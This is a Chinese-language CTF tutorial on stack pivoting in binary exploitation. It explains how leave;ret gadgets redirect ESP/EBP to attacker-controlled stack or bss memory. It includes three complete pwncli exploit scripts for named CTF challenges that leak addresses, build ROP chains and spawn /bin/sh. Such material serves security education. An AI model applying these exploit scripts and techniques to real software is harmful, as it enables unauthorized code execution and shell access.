原理
栈迁移是一种通过劫持程序栈指针(ESP 和 EBP)来绕过缓冲区限制的技术,常用于栈溢出攻击中。当缓冲区空间有限无法直接控制执行流时,栈迁移能够扩展攻击范围,通过迁移栈到可控的内存区域来实现更复杂的攻击。
核心概念
- EBP(栈帧寄存器):每次函数调用时,EBP用于维护栈帧结构。通过修改EBP指向攻击者可控的区域,函数栈空间也会发生改变。
- ESP(栈指针寄存器):ESP指向栈顶,控制其地址后可以改变程序执行流,通常栈迁移会将其劫持到一个无需长度限制的区域,比如 bss 段。
使用场景
栈迁移主要用于缓冲区溢出攻击中的特殊情况:
- 缓冲区较小:当溢出的空间只能覆盖到两个字长的栈内容时,栈迁移可以帮助攻击者突破限制,扩展控制范围。
- 受限输入:当攻击者可输入的数据长度不足以直接覆盖 EIP 时,通过栈迁移可以进一步获得对程序的控制。
操作流程
- 覆盖 EBP 和 EIP:通过缓冲区溢出将栈帧寄存器(EBP)覆盖,使得函数调用时栈帧指向攻击者控制的区域。
- 调用
leave; ret
gadget:leave
指令会将 EBP 的值赋给 ESP,使得栈指针迁移到新的区域,随后通过 ret
指令恢复执行流。
leave
指令:mov esp, ebp
和 pop ebp
,使 ESP 和 EBP 同时被控制。
ret
指令:跳转到新的返回地址,这通常是由攻击者精心设计的 ROP 链。
- 执行 ROP 链:在新栈区域中,攻击者可以通过 ROP(Return-Oriented Programming)链进行任意代码执行。
实际应用
栈迁移常常通过将 EBP 和 ESP 指向 bss 段等长度不受限制的内存区域,使得攻击者可以操作更多的栈空间。通过 leave; ret
gadget,有效利用溢出的少量字节数来改变程序执行逻辑,从而实现进一步的利用。
优化策略
- 选择合适的栈迁移目标区域:bss 段是常见的迁移目标,它通常没有长度限制且可读写,适合存储 ROP 链。
- **精确利用
leave; ret
**:利用好这两个指令可以确保栈指针成功迁移,并让攻击者在迁移后的控制区域继续执行代码。
- ROP 链灵活设计:根据不同场景设计和优化 ROP 链,确保在栈迁移后能够顺利控制程序的后续执行。
栈迁移技术扩展了攻击者的控制范围,是解决栈空间不足问题的有效手段,在实际安全研究和攻击中广泛应用。
leave == mov esp,ebp; pop ebp;
ret == pop eip
通用模板记忆
1 2 3 4 5
| 第一次栈迁移进行rbp修改让下次输入指向我们需要的地方 第二次栈迁移修改rsp让程序正常 第三次正常rop构造 第四次等同第一次 第五次getshell rop链
|
1
| padding+p64(fake_stack)+p64(leave)
|
栈上迁移
栈上栈迁移的重点是要泄露栈帧
[HDCTF 2023]KEEP ON
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwncli import *
cli_script() io=gift["io"] elf=gift["elf"]
format=b"%16$p" sa(b"name: \n",format) ru(b"hello,") leak_ebp=int(r(14),16) success(hex(leak_ebp))
target=leak_ebp-0x60-8 leave=0x4007f2 rdi=0x00000000004008d3 sys=elf.plt.system sh=target+32 payload=p64(rdi)+p64(sh)+p64(sys)+b"/bin/sh\x00" payload=payload.ljust(80,b"a")+p64(target)+p64(leave)
sa("keep on !\n",payload)
ia()
|
[CISCN 2019东南]PWN2]
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwncli import *
cli_script() io=gift["io"] elf=gift["elf"] context.arch="i386"
sa(b"name?\n",b'a'*(0x28-1)+b'b') ru(b"aaab")
leak_ebp=u32(ru(b"\xff"))
off=0x38 leave=0x8048593
target=leak_ebp-off-0x4 sh=leak_ebp-off+0xc
payload=p32(elf.plt.system)+p32(elf.sym._start)+p32(sh)+b"/bin/sh\x00" payload=payload.ljust(0x28,b'a')+p32(target)+p32(leave)
s(payload)
ia()
|
迁移到bss段
例题
2024 羊城杯 pstack
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwncli import *
cli_script() io=gift["io"] elf=gift["elf"] libc=ELF("./libc.so.6") context.arch=elf.arch
rdi=0x0000000000400773 ret=0x0000000000400506 leave_ret=0x4006db bss=elf.bss()+0x500 vuln=0x4006c4 rbp=0x4005b0 puts_got=elf.got.puts puts_plt=elf.plt.puts
pay1=b'a'*0x30+p64(bss+0x30)+p64(vuln) s(pay1)
pay2=p64(rdi)+p64(puts_got)+p64(puts_plt) pay2+=p64(rbp)+p64(bss+0x200+0x30)+p64(vuln) pay2+=p64(bss-8)+p64(leave_ret)
s(pay2)
ru(b"flow?\n") puts_addr=u64(ru(b"\x7f")[-6:].ljust(8,b'\x00')) base=puts_addr-libc.sym.puts sys=base+libc.sym.system sh=base+libc.search("/bin/sh\x00").__next__()
pay3=(p64(rdi)+p64(sh)+p64(sys)).ljust(0x30,b'\x00') pay3+=p64(bss+0x200-0x8)+p64(leave_ret) s(pay3)
ia()
|
[NSSRound#14 Basic]rbp
[HNCTF 2022 WEEK2]pivot
[HGAME 2023 week1]orw
[CISCN 2019华南]PWN4
[HDCTF 2023]Minions
[HDCTF 2023]Makewish
[强网杯 2022]devnull
[MTCTF 2021]babyrop]
[SCTF 2022]Secure Horoscope
后言
参考链接: https://ctf-wiki.org/
参考链接:PWN入门(2-2-1)-栈迁移(x86) (yuque.com)